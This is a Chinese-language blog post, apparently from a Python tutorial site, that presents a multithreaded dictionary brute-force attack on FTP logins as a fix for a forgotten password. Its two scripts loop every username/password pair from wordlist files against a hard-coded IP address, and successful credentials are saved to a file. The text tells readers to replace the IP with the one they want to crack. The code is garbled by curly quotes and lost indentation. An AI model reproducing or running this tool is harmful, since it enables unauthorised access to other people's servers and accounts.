忘记ftp密码使用python ftplib库暴力破解密码的方法示例

yipeiwu_com6年前Python基础

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

复制代码 代码如下:

import os
import time
import threading

class mythread(threading.Thread):
def __init__(self,command):
threading.Thread.__init__(self)
self.command=command
def run(self):
kk=os.system(self.command)
ushand=open(“user.txt”,”r”)
pshand=open(“passwd.txt”,”r”)
listuser=[]
listpass=[]
for us in open(“user.txt”,”r”):
lineus=ushand.readline().strip(‘\n')
listuser.append(lineus)
for ps in open(“passwd.txt”,”r”):
lineps=pshand.readline().strip(‘\n')
listpass.append(lineps)
for i in listuser:
for j in listpass:
command=”ftp.py %s %s” %(i,j)
print command
my_thread=mythread(command)
my_thread.start()
time.sleep(0.1)

相应的ftp.py文件里面的代码如下

复制代码 代码如下:

import ftplib
import socket
import sys
ftp=ftplib.FTP('121.54.175.204′)
try:
user=sys.argv[1]
passwd=sys.argv[2]
ftp.login(user,passwd)
hand=open(‘aa.txt','a+')
hand.write(user+”:”+passwd+”\n”)
except ftplib.error_perm:
print “passwd is world”


需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

相关文章

pyqt5 QProgressBar清空进度条的实例

在停止和开始进度条的同时,将进度条清空的动作也是常常需要用到的。 具体用法如下: self.progressBar = QProgressBar(self) self.progres...

python清理子进程机制剖析

python清理子进程机制剖析

起步 在我的印象中,python的机制会自动清理已经完成任务的子进程的。通过网友的提问,还真看到了僵尸进程。 import multiprocessing as mp import...

python bluetooth蓝牙信息获取蓝牙设备类型的方法

python 获取蓝牙设备类型 扫描蓝牙设备获取到的信息中,无法判断扫描到的蓝牙设备属于什么类型的设备。 扫描蓝牙信息使用的是python 里面的bluetooth模块。 首先扫描出来的...

Python 根据数据模板创建shapefile的实现

废话不多说,我就直接上代码让大家看看吧! #!/usr/bin/env python # -*- coding: utf-8 -*- # @File : copyShapefile....

wxPython事件驱动实例详解

wxPython事件驱动实例详解

本文实例讲述了wxPython的事件驱动机制,分享给大家供大家参考。具体方法如下: 先来看看如下代码: #!/usr/bin/python # moveevent.py...